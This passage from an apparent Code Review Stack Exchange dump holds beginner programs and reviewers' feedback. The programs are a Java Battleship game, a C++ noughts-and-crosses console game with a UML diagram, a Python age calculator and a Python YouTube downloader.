!!! &quot;); System.out.println(&quot;V:::::::V II::::::IIC:::::CCCCCCCC::::C TT:::::::TT O:::::::OOO:::::::ORR:::::R R:::::R Y:::::Y&quot;); System.out.println(&quot;V:::::V I::::::::I CC:::::::::::::::C T:::::::::T OO:::::::::::::OO R::::::R R:::::R YYYY:::::YYYY !!!&quot;); System.out.println(&quot;V:::V I::::::::I CCC::::::::::::C T:::::::::T OO:::::::::OO R::::::R R:::::R Y:::::::::::Y !!:!!&quot;); System.out.println(&quot;VVV IIIIIIIIII CCCCCCCCCCCCC TTTTTTTTTTT OOOOOOOOO RRRRRRRR RRRRRRR YYYYYYYYYYYYY !!!&quot;); System.exit(0); } //Prints the main title screen public static void printTitle() { System.out.println(&quot;8 888888888o .8. 8888888 8888888888 8888888 8888888888 8 8888 8 8888888888 d888888o. 8 8888 8 8 8888 8 888888888o&quot;); System.out.println(&quot;8 8888 `88. .888. 8 8888 8 8888 8 8888 8 8888 .`8888:' `88. 8 8888 8 8 8888 8 8888 `88.&quot;); System.out.println(&quot;8 8888 `88 :88888. 8 8888 8 8888 8 8888 8 8888 8.`8888. Y8 8 8888 8 8 8888 8 8888 `88 &quot;); System.out.println(&quot;8 8888 ,88 . `88888. 8 8888 8 8888 8 8888 8 8888 `8.`8888. 8 8888 8 8 8888 8 8888 ,88 &quot;); System.out.println(&quot;8 8888. ,88' .8. `88888. 8 8888 8 8888 8 8888 8 888888888888 `8.`8888. 8 8888 8 8 8888 8 8888. ,88' &quot;); System.out.println(&quot;8 8888888888 .8`8. `88888. 8 8888 8 8888 8 8888 8 8888 `8.`8888. 8 8888 8 8 8888 8 888888888P' &quot;); System.out.println(&quot;8 8888 `88. .8' `8. `88888. 8 8888 8 8888 8 8888 8 8888 `8.`8888. 8 8888888888888 8 8888 8 8888 &quot;); System.out.println(&quot;8 8888 88 .8' `8. `88888. 8 8888 8 8888 8 8888 8 8888 8b `8.`8888. 8 8888 8 8 8888 8 8888 &quot;); System.out.println(&quot;8 8888 ,88'.888888888. `88888. 8 8888 8 8888 8 8888 8 8888 `8b. ;8.`8888 8 8888 8 8 8888 8 8888 &quot;); System.out.println(&quot;8 888888888P .8' `8. `88888. 8 8888 8 8888 8 888888888888 8 888888888888 `Y8888P ,88P' 8 8888 8 8 8888 8 8888 &quot;); System.out.println(); } //Prints the game's rules public static void printRules() { System.out.println(&quot;THE RULES&quot;); System.out.printf(&quot;The player has %d ships and %d grenades\n&quot;, PLAYER_SHIPS, PLAYER_GRENADES); System.out.println(&quot;The computer has the same number of ships and grenades.&quot;); System.out.println(&quot;Each player gets a turn to fire a missile on the board.&quot;); System.out.println(&quot;If the chosen tile has already been shot, you may pick another tile.&quot;); System.out.println(&quot;If the chosen tile has a grenade, the player/computer will lose a turn.&quot;); System.out.println(&quot;The first one to destroy all the opponent's ships wins.&quot;); System.out.println(&quot;Are you ready?&quot;); System.out.println(); pressEnter(); clearScreen(); return; } //Clears the screen by moving down 50 lines public static void clearScreen () { System.out.println(System.lineSeparator().repeat(50)); } //Enter key prompt to pause between events private static void pressEnter () { System.out.print(&quot;Press Enter to continue...&quot;); System.out.println(); try { System.in.read(); } catch(Exception e) {} } } </code></pre> <p>Oh, and should you need a reference, these were the <a href="https://drive.google.com/file/d/1FZbIqSJHG7DLgf7RFbMl_jI8EcZucTjF/view?usp=sharing" rel="noreferrer">instructions</a>. Thanks!</p>
[]
[ { "body": "<p>A pretty work I have to say. Actually your class design is good, however it may as well be simplified.</p>\n<h3>Before you read:</h3>\n<p>There are many comments to do over your code, however I must clarify that: It is not my intention to make you feel as everything is wrong, you already starting to learn. Second, if I have some comments for you in your first year, I have many many comments for me in my first two/three years, so, it's normal to be quite &quot;code verbose&quot; in your starts.</p>\n<h3>Suggestions:</h3>\n<ul>\n<li><p><strong>Circular relationships</strong> are to be evaded most times. Note that your <code>Grid</code> class contains various methods which requires instances of the <code>Grid</code> class, it's quite an exotic implementation. Analyzing it you may note that a grid does not contain itself, so, why is the grid operating multiple instances of itself? (I'm referring to the matrix)</p>\n</li>\n<li><p>Remember the principle, classes have attributes and methods related to them, the attributes:</p>\n</li>\n</ul>\n<pre class=\"lang-java prettyprint-override\"><code> private boolean isGrenade;\n private boolean isPShip;\n private boolean isCShip;\n private boolean shotAt;\n private char state;\n</code></pre>\n<p>are not proper of a <code>Grid</code> but a cell on the grid.</p>\n<ul>\n<li><p>The grid should contain a matrix <code>cells</code> of objects of type <code>Cell</code>, it will save time and if you consider it, the grid should be a class giving support to the elements on it.</p>\n</li>\n<li><p>The field <code>isGrenade</code> could be named <code>isNavalMine</code> why? Well, if you want to acquire &quot;good&quot; developer habits, a good one is to make every variable name the least ambiguous possible. (I'm not an English native, so it was quite strange to read)</p>\n</li>\n<li><p>You could simplify the attributes by using an Enumeration:</p>\n</li>\n</ul>\n<pre class=\"lang-java prettyprint-override\"><code>public enum EnumCellProperties {\n //According to the document COMP248_A4_F2020.pdf\n IS_PLAYER_GRENADE('g'),\n IS_COMPUTER_GRENADE('G'),\n IS_PLAYER_SHIP('s'),\n IS_COMPUTER_SHIP('S');\n\n private char initialState;\n\n private EnumCellProperties(char initialState) {\n this.initialState = initialState;\n }\n\n public getInitialState() {\n return this.initialState;\n }\n}\n\n//call it as:\npublic class Cell {\n private EnumCellProperties properties; //This indicates you\n private char state;\n private boolean shooted;\n //...\n\n public Cell(EnumCellProperties properties) {\n this.properties = properties;\n this.state = properties.getInitialState();\n }\n\n public char printState() {\n //boolean values are either true or false, do not compare\n //use if (booleanVariable) |---| or if (!booleanVariable) when you need == false\n if (shooted) return state;\n return '-'; //as the if has a return, there's no need to place an else\n }\n\n public char revealState() {\n return state;\n }\n}\n\n</code></pre>\n<p>this will save the code inside:</p>\n<pre class=\"lang-java prettyprint-override\"><code> public void setPShip(Grid[][] a, int i, int j)\n public void setCShip(Grid[][] a, int i, int j)\n public void setPGrenade(Grid[][] a, int i, int j)\n public void setCGrenade(Grid[][] a, int i, int j)\n public char printState(Grid[][] a, int i, int j)\n public char revealedState(Grid[][] a, int i, int j)\n</code></pre>\n<ul>\n<li>Finally, for your <code>BattleshipDriver</code> class, you should separate the game logic from the printings, you could create a <code>GameEngine</code> class to do al the logic in the background and have a clearer <code>BattleshipDriver</code> class.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T23:18:16.307", "Id": "499923", "Score": "1", "body": "Hi! Thank you so much for the input! I'll analyze this as soon as exams are over to model a v2.0 for my program.\n\nMy difficulty was wrapping my head around a class that had cells that had attributes, much like a spreadsheet. This was what my thought process was in making the Grid class. The circularity was something I wanted to eliminate but could not wrap my head around as well.\n\nAs for the name grenade, it was a requirement from the professor.\n\nAgain, many thanks!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T02:48:58.737", "Id": "253484", "ParentId": "253478", "Score": "5" } }, { "body": "<p>@Miguel Avila has made some good points. A few other things for you to consider...</p>\n<h1>Magic Numbers</h1>\n<p>Generally I don't mind numbers in the code if they make sense, and make the code easier to read. When you use constants (text or numbers), look out for patterns which might suggest that you could benefit from encapsulating the value in a named constant. So, for example:</p>\n<pre><code>if ((x &gt; 7) || (y &gt; 7) || (x &lt; 0))\n</code></pre>\n<p>You've already got a constant:</p>\n<pre><code>public static final int GRID_COLS = 8\n</code></pre>\n<p>Using the constant, or having another dependant constant:</p>\n<pre><code>public static final int MAX_X = GRID_COLS - 1;\n</code></pre>\n<p>Means that if you decided to make the game easier/harder by changing the number of columns you only have to go an modify one place, rather than searching in the code for instances of 7/8 which might need to be updated.</p>\n<h1>Avoid Distributed Knowledge</h1>\n<p>Your identifying what's in different grid sections by using different characters. So, 'S' is a player ship, 's' is a computer ship. This knowledge is help in at least two places at the moment. Your Grid sets the state (in <code>setPShip</code>, <code>setCShip</code>). It's also known in your driver class, when it checks what's been hit (<code>if (currentGame[x][y].revealedState(currentGame, x, y) == 's')</code>. This can cause issues if you decide to modify the way that the state is stored in the future. An alternative might have been to have your grid implement methods like <code>isPlayerShip(x,y)</code>. This would centralise the knowledge of how a 'ship' is represented to the class that is responsible for that representation.</p>\n<h1>Naming's hard, but important</h1>\n<p>Finding the balance with names can be challenging, however they are one of the biggest factors that influences your codes readability. So, for example you have <code>setPShip</code>, with a comment above it 'sets player player ship'. Would this comment be needed if the method was simply called <code>setPlayerShip</code>?</p>\n<p>In your driver you represent column/rows as variables 'x/y'. In your grid they are 'i/j', this causes an unnecessary disjoint that makes the code harder to read. Why not just use x/y in both places? One letter variable names can be ok if they make sense or are in very confined contexts, however using 'a' to represent the game grid (because it's an array?) doesn't scream readability.</p>\n<h1>Comments</h1>\n<p>Comments should be helpful and up to date. Because they aren't compiled it's very easy for comments to become out of date, so generally I avoid them unless there is something to say that isn't obvious from the code. So comments that don't add anything to what the code is saying should be avoided (<code>//Checks for cheat mode</code>, the <code>if(cheats)</code> already says this). Generally if you feel the need to comment <em>what</em> the code is doing, it might be a sign that you need to change variable names / encapsulate some of the logic within another named method. Useful comments are more likely to be 'why' something has to be done a certain way if it's not going to obvious from the code. However, that still might be an indication that a larger refactoring is required.</p>\n<p>Stale / out of date comments can actively cause harm by being misleading. Consider:</p>\n<pre><code>//prints out the cell's state - cheat mode\npublic char revealedState(Grid[][] a, int i, int j) {\n return a[i][j].state;\n} \n</code></pre>\n<p>There's a few things wrong. <code>revealedState</code> doesn't print anything, it returns the state symbol at a given location in the supplied grid. It's true that this is used in cheat mode to print the state, however it's not what the commented method does. Importantly the method is also actually used in the main game logic to determine what's been shot.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-20T13:53:24.220", "Id": "500278", "Score": "0", "body": "Thank you for your feedback! Our professor only touched naming conventions and best practices for 10 minutes and I tried my best to stick to them but thank you for pointing out where I still need improvement." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T10:11:24.843", "Id": "253609", "ParentId": "253478", "Score": "3" } } ]
{ "AcceptedAnswerId": "253484", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T23:54:37.007", "Id": "253478", "Score": "8", "Tags": [ "java", "battleship" ], "Title": "Battleship with Java" }
253478
<p>I was told I need code in order for someone to review my UML Class Diagram for my Noughts and Crosses console application. I would like to know if it's intuitive, whether you could make a program based on it, and whether any improvements need to be made on it. <a href="https://i.stack.imgur.com/2Nyj9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2Nyj9.png" alt="UML class diagram" /></a></p> <pre><code> #include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;ctime&gt; #include &lt;cstdlib&gt; #include &lt;algorithm&gt; #include &lt;random&gt; #include &lt;chrono&gt; #include &lt;array&gt; class Board { std::array&lt;unsigned char, 9&gt; m_board; std::vector&lt;int&gt;m_validLocations; public: Board(); auto&amp; get(); void shuffleValidLocations(); bool isMoveValid(int move); auto&amp; getValidLocation(); void reset(); void display() const; void removeFromValidLocation(int move); ~Board() = default; }; class Player { public: unsigned char m_symbol; const std::string m_type; int m_wins; int m_draws; virtual int nextMove(Board&amp; board) = 0; Player(const unsigned char symbol, std::string&amp;&amp; type); virtual ~Player() = default; }; class Human : public Player { public: Human(unsigned char symbol) :Player{ symbol, &quot;Human&quot; } {} virtual int nextMove(Board&amp; board) override; virtual ~Human() = default; }; class Robot : public Player { public: Robot(unsigned char symbol) :Player{ symbol, &quot;Robot&quot; } {} virtual int nextMove(Board&amp; board) override; virtual ~Robot() = default; }; class NoughtsAndCrosses { Player* m_one; Player* m_two; Player* m_turn; Player* m_winner; Board m_board; bool draw(); void playerMove(); void switchPlayers(); bool win(); public: NoughtsAndCrosses(Player&amp; one, Player&amp; two); Player* playerWithMostWins(); Player* play(); ~NoughtsAndCrosses() = default; }; auto&amp; Board::get() { return m_board; } Board::Board() { m_board = { '-', '-', '-', '-', '-', '-', '-', '-', '-', }; m_validLocations = { 1,2,3,4,5,6,7,8,9 }; } void Board::shuffleValidLocations() { auto seed = std::chrono::system_clock::now().time_since_epoch().count(); std::default_random_engine e(seed); std::shuffle(m_validLocations.begin(), m_validLocations.end(), e); } bool Board::isMoveValid(int move) { return (std::any_of(m_validLocations.begin(), m_validLocations.end(), [&amp;](int&amp; num) {return num == move; })); } auto&amp; Board::getValidLocation() { return m_validLocations; } void Board::reset() { std::fill(m_board.begin(), m_board.end(), '-'); m_validLocations = { 1,2,3,4,5,6,7,8,9 }; } void Board::display() const { int num = 0; for (auto const&amp; cell : m_board) { num++; if (num % 3 == 1) { std::cout &lt;&lt; &quot;\n\n&quot;; } if (cell != '-') { std::cout &lt;&lt; cell &lt;&lt; &quot; &quot;; } else { std::cout &lt;&lt; num &lt;&lt; &quot; &quot;; } } std::cout &lt;&lt; &quot;\n\n&quot;; } void Board::removeFromValidLocation(int move) { std::remove_if(m_board.begin(), m_board.end(), [&amp;](auto&amp; number) { return number == move; }); } Player::Player(const unsigned char symbol, std::string&amp;&amp; type) :m_symbol{ symbol }, m_type{ type }, m_wins{ 0 }, m_draws{ 0 } {} int Human::nextMove(Board&amp; board) { int move = 0; bool isMoveValid = false; do { std::cout &lt;&lt; &quot;Enter a number on the board (e.g. 1): &quot;; std::cin &gt;&gt; move; if (!(isMoveValid = board.isMoveValid(move))) { std::cout &lt;&lt; &quot;Invalid move! Choose a valid location!\n&quot;; } } while (!isMoveValid); board.removeFromValidLocation(move); return move - 1; } int Robot::nextMove(Board&amp; board) { int move = 0; board.shuffleValidLocations(); move = board.getValidLocation().at(0); board.getValidLocation().erase(board.getValidLocation().begin()); return move - 1; } NoughtsAndCrosses::NoughtsAndCrosses(Player&amp; one, Player&amp; two) :m_one(&amp;one), m_two(&amp;two), m_turn(&amp;one), m_winner(nullptr) {} bool NoughtsAndCrosses:: draw() { return std::all_of(m_board.get().begin(), m_board.get().end(), [&amp;](auto&amp; pair) {return pair != '-'; }); } void NoughtsAndCrosses::playerMove() { m_board.get().at(m_turn-&gt;nextMove(m_board)) = m_turn-&gt;m_symbol; } void NoughtsAndCrosses::switchPlayers() { m_turn = m_turn == m_one ? m_two : m_one; } bool NoughtsAndCrosses::win() { if (m_board.get().at(0) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(1) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(2) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else if (m_board.get().at(3) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(4) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(5) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else if (m_board.get().at(6) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(7) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(8) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else if (m_board.get().at(0) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(3) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(6) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else if (m_board.get().at(1) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(4) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(7) == m_turn-&gt;m_symbol) { m_winner = m_turn; m_winner-&gt;m_wins++; return true; } else if (m_board.get().at(2) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(5) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(8) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else if (m_board.get().at(0) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(4) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(8) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else if (m_board.get().at(6) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(4) == m_turn-&gt;m_symbol &amp;&amp; m_board.get().at(2) == m_turn-&gt;m_symbol) { m_winner = m_turn; return true; } else { return false; } } Player* NoughtsAndCrosses::playerWithMostWins() { return m_one-&gt;m_wins &gt; m_two-&gt;m_wins ? m_one : m_two; } Player* NoughtsAndCrosses::play() { while (true) { m_board.display(); playerMove(); if (win()) { std::cout &lt;&lt; m_winner-&gt;m_symbol &lt;&lt; &quot; is the winner!\n&quot;; break; } else if (draw()) { m_winner = nullptr; break; } switchPlayers(); } m_board.display(); m_board.reset(); m_turn = m_one; return m_winner; } int main() { Robot robot1('X'); Robot robot2('O'); //pass these in to NoughtsAndCrosses if you want to play human vs human, or one if you want to play human vs Robot Human human1('X'); Human human2('O'); NoughtsAndCrosses game(robot1, robot2); int round = 3; int roundCount = 0; Player* winner = nullptr; do { int gameCount = 1; int totalGamesinRound = 3; std::cout &lt;&lt; &quot;START GAME!\n&quot;; system(&quot;pause&quot;); system(&quot;cls&quot;); std::cout &lt;&lt; &quot;\nROUND &quot; &lt;&lt; ++roundCount &lt;&lt; &quot;. . .\n&quot;; do { std::cout &lt;&lt; &quot;Game &quot; &lt;&lt; gameCount &lt;&lt; &quot; of round &quot; &lt;&lt; roundCount &lt;&lt; &quot;\n&quot;; winner = game.play(); if (winner != nullptr) { std::cout &lt;&lt; &quot;Winner of game &quot; &lt;&lt; gameCount &lt;&lt; &quot; is type: &quot; &lt;&lt; winner-&gt;m_type &lt;&lt; &quot;: &quot; &lt;&lt; winner-&gt;m_symbol &lt;&lt; &quot;\n&quot;; winner-&gt;m_wins++; } else { std::cout &lt;&lt; &quot;Game &quot; &lt;&lt; gameCount &lt;&lt; &quot; is a draw!\n&quot;; robot1.m_draws++; robot2.m_draws++; } gameCount++; totalGamesinRound--; } while (totalGamesinRound != 0); /* std::cout &lt;&lt; &quot;Game 2: Human vs Robot\n&quot;; game.play(robot1, robot1);*/ std::cout &lt;&lt; &quot;Wins for &quot; &lt;&lt; robot1.m_type &lt;&lt; &quot;: Player : &quot; &lt;&lt; robot1.m_symbol &lt;&lt; &quot; - &quot; &lt;&lt; robot1.m_wins &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Wins for &quot; &lt;&lt; robot2.m_type &lt;&lt; &quot;: Player : &quot; &lt;&lt; robot2.m_symbol &lt;&lt; &quot; - &quot; &lt;&lt; robot2.m_wins &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Drawed: &quot; &lt;&lt; robot1.m_draws &lt;&lt; &quot;\n&quot;; std::cout &lt;&lt; &quot;Winner of round &quot; &lt;&lt; roundCount &lt;&lt; &quot; is &quot; &lt;&lt; game.playerWithMostWins()-&gt;m_symbol &lt;&lt; &quot;\n&quot;; round--; } while (round != 0); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T06:18:54.997", "Id": "499858", "Score": "1", "body": "This is really a nice design. :-)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T08:44:10.780", "Id": "499865", "Score": "1", "body": "Thank you very much!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T15:01:16.557", "Id": "499888", "Score": "0", "body": "So what happens when two `x` players play each other in a game? Shouldn't symbols be defined only for the duration of a single game? But players seem to persist longer since they have win/draw counts." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T15:27:32.500", "Id": "499890", "Score": "0", "body": "I designed it to be like a tournament hence the win and draw counts. I probably should have given the players a name e.g. Fred as well as a symbol then allow them to take turns being O and X." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T15:29:44.200", "Id": "499891", "Score": "0", "body": "Also, I wouldn’t allow two X players to play against each other." } ]
[ { "body": "<p>Upvote, what a nice and simple UML Design!</p>\n<p><strong>Simplicity is a step to archive scalability, maintainability and ensuring software quality.</strong></p>\n<h3>Concerning the UML model:</h3>\n<ul>\n<li><p>You must use the composition specifier for the relationship between <code>Board</code> and <code>NoughtsAndCrosses</code> since the instance of <code>Board</code> must be provided so that UB is prevented.</p>\n</li>\n<li><p>The relation between <code>Player</code> and <code>NoughtsAndCrosses</code> is more likely to be composition or aggregation. Why? Because <code>NoughtsAndCrosses</code> requires on its constructor two references to initialize the objects <code>p1</code> and <code>p2</code>. Although, one may note that <code>m_pTurn</code> changes, it has the property to be initialized by either <code>p1</code> or <code>p2</code>. Finally, <code>m_pWinner</code> is quite special, it should be a <code>nullptr_t</code>\npointer until the winner is known.</p>\n</li>\n<li><p>Respect the definition of <code>Player</code> and the inheritance of <code>Robot</code> and <code>Human</code> well, it's quite strange (at least for me) that you are overriding just one member function. You could instead use an <em>state pattern like</em> solution.</p>\n</li>\n</ul>\n<p>Consider: <code>std::functional&lt;int(Board&amp;)&gt; next_move;</code> as a class attribute, you could define two functions or two lambdas so that <code>next_move</code> is interchangeable and you're saving code. (Just a suggestion)</p>\n<h3>Concerning your code</h3>\n<p>You could use in-class definitions for your functions instead of prototyping and then defining them. (Make less your efforts)</p>\n<p>Using <code>auto</code> is good for iterating values, however, it may lead to type inconsistencies in greater schemes. <em>When in Roma, do as Romans do</em>. If you're working with C++ which has a strict type system, attempt to make use of clear and consistent typing.</p>\n<p>Thank for reading this answer, other users may have more in deep comments for your code. For further questions regarding UML modeling you could go to <a href=\"https://softwareengineering.stackexchange.com\">Software Engineering Stackexchange</a> there you could find design related Q&amp;A.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T08:42:28.070", "Id": "499864", "Score": "1", "body": "Wow! Thanks so much! I really appreciate your feedback! Thanks for that suggestion it has given me lots to think about!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T01:50:08.363", "Id": "253482", "ParentId": "253480", "Score": "4" } } ]
{ "AcceptedAnswerId": "253482", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T00:09:05.327", "Id": "253480", "Score": "4", "Tags": [ "c++", "c++11", "tic-tac-toe" ], "Title": "Noughts & Crosses UML Class Diagram" }
253480
<p>I am new to coding for ~1 week. I know that I learn best by doing, and so I decided to work on a small and simple project while utilizing various online sources to learn as I go.</p> <p>Anyway, I decided to write a little program that asks the user to input their age and then prompts the user to enter an age they wish to be while providing them with the difference and a few little exceptions along the way.</p> <p>Since I am still new and am learning on my own, I decided to reach out to this forum and see if I can get any suggestive feedback on how I can improve my code and learn some new techniques. Thank you!</p> <p>Points of interest:</p> <ul> <li><p>I have it so the code loops back until integers are inputted.</p> </li> <li><p>The program can be recalled by the user to enter different values.</p> </li> <li><p>I am still working on making it so that negative values can not be inputted.</p> </li> </ul> <p>The Code:</p> <pre><code># This program will prompt you to state your age and then will proceed to # calculate how long till __ age # Introduction print(&quot;Hello. &quot;) # Defining Functions def main(): while True: try: myAge = int(input(&quot;Please enter your age: &quot;)) except ValueError: print(&quot;I'm sorry, please enter your age as a numeric value.&quot;) continue else: break def secondV(): while True: try: global desiredAge desiredAge = int(input()) print(&quot;Do you wish to be &quot; + str(desiredAge) + &quot;?&quot;) choose() except ValueError: print(&quot;Please enter a numeric value.&quot;) continue else: break def desiredFuture(): while True: try: global desiredAge desiredAge = int(input()) while True: if desiredAge &lt; myAge: print( &quot;Silly, time does not move backwards. Learn how to embrace the future, not fear it.&quot;) print('Please input an age you wish to be in the FUTURE now...') desiredFuture() break if desiredAge == myAge: print(&quot;You are already &quot; + str(desiredAge)) break else: print(&quot;Do you wish to be &quot; + str(desiredAge) + &quot;?&quot;) choose() break except ValueError: print(&quot;Please enter a numeric value.&quot;) continue else: break def choose(): global yourWish yourWish = input() while yourWish.lower() == (&quot;yes&quot; or &quot;y&quot;): print(&quot;Okay... calculating...&quot;) import time time.sleep(1) print() print(&quot;To be &quot; + str(desiredAge) + &quot;, you would have to wait &quot; + str(desiredAge - myAge) + &quot; years. &quot;) print() reDo() break else: print(&quot;Erm... please input your desired age now:&quot;) secondV() def reDo(): print('Would you like to try again?') runBack = input() while True: if runBack.lower() in {'y', 'yes'}: print() main() else: print(&quot;Okay... Goodbye!&quot;) break print(&quot;You are &quot; + str(myAge) + &quot;.&quot;) print(&quot;What is your desired age? &quot;) desiredFuture() choose() print() main() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T08:18:18.693", "Id": "499862", "Score": "1", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." } ]
[ { "body": "<p>You can try this:</p>\n<pre><code>import time, sys\n# This program will prompt you to state your age and then will proceed to\n# calculate how long till __ age\n\n\n# Introduction\nprint(&quot;Hello. &quot;)\n\n# Defining Functions\ndef main():\n while True:\n try:\n myAge = int(input(&quot;Please enter your age: &quot;))\n except ValueError:\n print(&quot;I'm sorry, please enter your age as a numeric value.&quot;)\n continue\n break\n\n def secondV():\n while True:\n try:\n global desiredAge\n desiredAge = int(input())\n print(f&quot;Do you wish to be {desiredAge}?&quot;)\n choose()\n except ValueError:\n print(&quot;Please enter a numeric value.&quot;)\n continue\n break\n\n def desiredFuture():\n while True:\n try:\n global desiredAge\n desiredAge = int(input())\n while True:\n if desiredAge &lt; myAge:\n print(&quot;Silly, time does not move backwards. Learn how to embrace the future, not fear it.&quot;)\n print('Please input an age you wish to be in the FUTURE now...')\n desiredFuture()\n break\n if desiredAge == myAge:\n print(f&quot;You are already {desiredAge}&quot;)\n break\n else:\n print(f&quot;Do you wish to be {desiredAge}?&quot;)\n choose()\n break\n except ValueError:\n print(&quot;Please enter a numeric value.&quot;)\n continue\n break\n\n def choose():\n global yourWish\n yourWish = input()\n while yourWish.lower() == (&quot;yes&quot; or &quot;y&quot;):\n print(&quot;Okay... calculating...&quot;)\n time.sleep(1)\n print()\n print(f&quot;To be {desiredAge} you would have to wait {desiredAge - myAge} years.&quot;)\n print()\n reDo()\n break\n else:\n print(&quot;Erm... please input your desired age now:&quot;)\n secondV()\n\n def reDo():\n print('Would you like to try again?')\n runBack = input()\n while True:\n if runBack.lower() in {'y', 'yes'}:\n print()\n main()\n else:\n print(&quot;Okay... Goodbye!&quot;)\n sys.exit(&quot;goodbye&quot;)\n break\n\n print(f&quot;You are {myAge}.&quot;)\n print(&quot;What is your desired age? &quot;)\n desiredFuture()\n choose()\n print()\n\n\nmain()\n</code></pre>\n<p>Use f strings instead of <code>+</code> it's more convenient.</p>\n<p>And in the <code>try except</code>, you can just do <code>break</code> at the end, not put it in <code>else</code>. And it doesn't exit, so you can import sys and use sys.exit()</p>\n<p>And do import time at the first line.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T06:49:19.760", "Id": "253491", "ParentId": "253485", "Score": "0" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T03:31:40.197", "Id": "253485", "Score": "-1", "Tags": [ "python", "beginner", "python-3.x" ], "Title": "Feedback On How I Can Clean Up My Code" }
253485
<p>I'm looking for some feedback on my first 'real' Python program. Started with Python a few days ago and wanted to get right into it and make something hands on.</p> <p>Currently the program lets you download audio and video for a YouTube video using Pytube. It allows you specify the location to save the download, whether to download Audio or Video and what resolution to download videos at.</p> <pre><code> #global variables yt = None res = None stream = None file_path = None av_swtich = None #see if the user wants to download audio or video def av_select(): global av_switch print('Would you like to download Video or Audio:') while True: av_switch = input('Please enter \'1\' for Video and \'2\' for Audio\n') if av_switch not in ('1', '2'): print('Pleae make a valid selection') continue else: break #Download Audio Stream def audio_download(): global yt global file_path print('The Video has the following audio streams') print(*yt.streams.filter(only_audio=True), sep='\n') while True: itag = input('Please Enter the Itag of the stream you want to download:\n') try: yt.streams.get_by_itag(str(itag)).download(output_path=str(file_path), filename_prefix='Audio-') print('The audio stream has been downloaded') return True except: print('You have entered an invalid Itag') continue #Define Download location def download_location(): global file_path while True: file_path = input('Please enter the Folder to save the Video in:\n') x = os.path.exists(path = str(file_path)) if x == True: break else: print('The specified Folder does not exit') continue #Select the video that the user wants to use def video_select(): global yt while True: video = input('Please enter the video URL:\n') try: yt = YouTube(video) print('The title of the video you selected is: ' + yt.title) return False except: print('The URL is not Valid\n') continue #Select resoultion and display possible stings def resoultion_select(): global res global res_list while True: res = input('Please enter a Resoultion:\n') try: res_list = yt.streams.filter(resolution= str(res)) return False except: print('You have entered an invalid resoultion') continue #Select the stream to download based on the itag def download_stream(): global file_path global yt global res_list print('The Video has the following streams') print(*res_list, sep='\n') while True: itag = input('Please Enter the Itag of the stream you want to download:\n') try: yt.streams.get_by_itag(str(itag)).download(str(file_path)) print('The video has been downloaded') return True except: print('You have entered an invalid Itag') continue def Main(): global av_switch print('Welcome to the Youtube Video Downloader\n') download_location() video_select() av_select() if av_switch == '1': resoultion_select() download_stream() else: audio_download() Main() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T05:29:23.650", "Id": "499857", "Score": "1", "body": "\"_using Pytube_\" nowhere in the code I see pytube being imported. please provide a complete program." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T14:49:06.260", "Id": "499886", "Score": "0", "body": "it is seen that on function download_stream(), the line \"yt.streams.get_by_itag(str(itag)).download(str(file_path))\" downloads the stream into \"file_path\" . 'hope it helps" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T18:06:48.717", "Id": "499907", "Score": "0", "body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*." } ]
